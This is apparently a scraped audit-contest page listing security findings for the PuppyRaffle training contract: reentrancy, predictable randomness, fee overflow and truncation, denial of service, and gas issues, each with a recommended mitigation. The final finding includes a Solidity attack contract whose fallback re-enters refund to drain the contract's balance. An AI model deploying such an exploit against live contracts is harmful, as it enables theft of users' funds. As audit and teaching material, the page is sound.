PuppyRaffle::refund function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.In the PuppyRaffle::refund function, we first make an external call to the msg.sender address and only after making that external call do we update the PuppyRaffle::players array.
A player who has entered the raffle could have a fallback/receive function that calls the PuppyRaffle::refund function again and claim another refund. They could continue the cycle till the contract balance is drained.
Impact: All fees paid by raffle entrants could be stolen by the malicious participant.
Proof of Concept:
User enters the raffle
Attacker sets up a contract with a fallback function that calls PuppyRaffle::refund
Attacker enters the raffle
Attacker calls PuppyRaffle::refund from their attack contract, draining the contract balance.
Proof of Code
Place the following into PuppyRaffleTest.t.sol
And this contract as well.
Recommended Mitigation: To prevent this, we should have the PuppyRaffle::refund function update the players array before making the external call. Additionally, we should move the event emission up as well.
PuppyRaffle::selectWinner allows users to influence or predict a winner and influence or predict the winning puppyDescription: Hashing msg.sender, block.timestamp, and block.difficulty, together creates apredictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.
Note: This additionally means users could front-run this function and call refund if they see they are not the winner.
Impact: Any user can influence the winner of the raffle, winning the money and selecting the rarest puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.
Proof of Concept:
Validators can know ahead of time the block.timestamp and block.difficulty and use that to predict when/how to participate. See the solidity blog on prevrandao. block.difficulty was recently replaced with prevrandao.
Users can mine/manipulate their msg.sender value to result in their address being used to generate the winner!
Users can revert their selectWinner transaction if they don't like the winner or resulting puppy.
Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.
Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.
PuppyRaffle::totalFees loses feesDescription: In solidity versions prior to 0.8.0 integers were subject to integer overflows.
Impact: In PuppyRaffle::selectWinner, totalFees are accumulated for the feeAddress to collect later in PuppyRaffle::withdrawFees. However, if the totalFees variable overflows, the feeAddress may not collect the correct amount of fees, leaving fees permanently stuck in the contract.
Proof of Concept:
We conclude a raffle of 4 players
We then have 89 players enter a new raffle, and conclude the raffle
totalFees will be:
you will not be able to withdraw, due to the line in PuppyRaffle::withdrawFees:
Although you could use selfdestruct to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much balance in the contract that the above require will be impossible to hit.
Recommended Mitigation: There are a few possible mitigations.
Use a newer version of solidity, a uint256 instead of uint64 for PuppyRaffle::totalFees
You could also the SafeMath library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the uint64 type if too many fees are collected.
Remove the balance check from PuppyRaffle::withdrawFees
There are more attack vectors with that final require, so we recommend removing it regardless.
PuppyRaffle::enterRaffle is a potentiial denial of service (DoS) attack, incrementing gas costs for future entrantsDescription: The PuppyRaffle::enterRaffle function loops through the players array to check for duplicates. However, the longer the PuppyRaffle::players array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle stats will be dramatically lower than those who enter later. Every additional players array, is an addittiona check the loop will have to make.
Impact: The gas costs for Raffle entrants will greatly increase as more players enter the raffle. Discouraging later users to from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.
An attacker might make the PuppyRaffle::entrants array so big that no one enters, guarenteeing themselves the win.
Proof of Concept:
If we have 2 sets of 100 players enter, the gas costs will be as such:
1st 100 players: ~6252048 gas
2nd 100 players: ~18068138 gas
This is more than 3x more expensive for the 2nd 100 players.
Recommended Mitigation: There are a few recommendations.
Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.
Alternatively, you could use [OpenZeppelin's EnumerableSet library] (https://docs.openzeppelin.com/contracts/4.x/api/utils#EnumerableSet).
PuppyRaffle::totalFees loses feesDescription: In PuppyRaffle::selectWinner their is a type cast of a uint256 to a uint64. This is an unsafe cast, and if the uint256 is larger than type(uint64).max, the value will be truncated.
The max value of a uint64 is 18446744073709551615, In terms of ETH, this is only ~18 ETH. Meaning, if more than 18 ETH of fees are collected, the fee casting will truncate the value.
Impact: This means the feeAddress will not collect the correct amount of fees, leaving fees permanently stuck in the contract.
Proof of Concept:
A raffle proceeds with a little more than 18 ETH worth of fees collected
The line that casts the fee as a uint64 hits
totalFees is incorrectly updated with a lower amount
You can replicate this in foundry's chisel by running the following:
Recommended Mitigation: Set PuppyRaffle::totalFees to a uint256 instead of a uint64, and remove the casting. Their is a comment which says:
receive or a fallback function will block the start of a new contestDescription: The PuppyRaffle::selectWinner function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.
Users could easily call the selectWinner function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.
Impact: The PuppyRaffle::selectWinner function could revert many times, making a lottery reset difficult.
Also, true winners would not get paid out and someone else could take their money!
Proof of Concept:
10 smart contract wallets enter the lottery without a fallback or receive function.
The lottery ends
The selectWinner function wouldn't work, even though the lottery is over!
Recommended Mitigation: There are a few options to mitigate this issue.
Do not allow smart contract wallet entrants (not recommended)
Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new claimPrize function, putting the owness on the winner to claim their prize. (Recommended)
Pull over Push
PuppyRaffle::getActivePlayerIndex returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffleDescription: If a player is in the PuppyRaffle::players array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.
Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.
Proof of Concept:
User enters the raffle, they are the first entrant
PuppyRaffle::getActivePlayerIndex returns 0
User thinks they have not entered correctly due to the function documentation
Recommeded Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.
You could also reserve the 0th position for any competitiion, but a better solution might be to return an int256 where the function returns -1 if the player is not active.
Reading from storage is much more expensive than reading from a constant or immutable variable.
Instances:
PuppyRaffle::raffleDuration should be immutable
PuppyRaffle:commonImageUri should be constant
PuppyRaffle::rareImageUri should be constant
PuppyRaffle::legendaryImageUri should be constant
Everytime you call players.length you read from storage, as opposed to memory which is more gas efficient.
Consider using a sepcific version of Solidity in your contracts instead of a wide version.
For example, instead of pragma solidity ^0.8.0;, use pragma solidity 0.8.0;
Found in src/PuppyRaffle.sol: 32:23:35
solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.
Recommendation:
Deploy with any of the following Solidity versions:
0.8.18
The recommendations take into account:
Risks related to recent releases
Risks of complex code generation changes
Risks of new language features
Risks of known bugs
Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.
Please see slither documentations for more information.
address(0) when assigning values for address(0).Assigning values to address state variables without checking for address(0).
Found in src/PuppyRaffle.sol: 8662:23:35
Found in src/PuppyRaffle.sol: 3165:24:35
Found in src/PuppyRaffle.sol: 9809:26:35
PuppyRaffle::selectWinner does not follow CEI, which is not a best practiceIt's best to keep code clean and follow CEI (Checks, Effects, Interactions).
It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.
Examples:
Instead, you could use:
PuppyRaffle::_isActivePlayer is never used and should be removed## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.